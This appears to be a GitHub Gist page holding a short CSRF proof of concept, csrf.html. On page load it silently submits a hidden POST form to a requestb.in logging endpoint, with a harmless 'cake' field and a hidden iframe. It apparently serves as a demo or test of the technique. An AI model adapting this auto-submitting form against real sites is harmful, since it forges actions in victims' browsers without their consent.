Skip to content

Instantly share code, notes, and snippets.

@icot
Created February 26, 2015 20:34
Show Gist options
  • Save icot/7ebb0ff4ca59c13e0401 to your computer and use it in GitHub Desktop.
Save icot/7ebb0ff4ca59c13e0401 to your computer and use it in GitHub Desktop.
csrf.html
<html>
<body>
<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe>-->
<form method="POST" name="csrf" action="http://requestb.in/13pjzdq1"/>
<input type="hidden" name="cake" value="The cake is a lie" />
<script>document.csrf.submit();</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment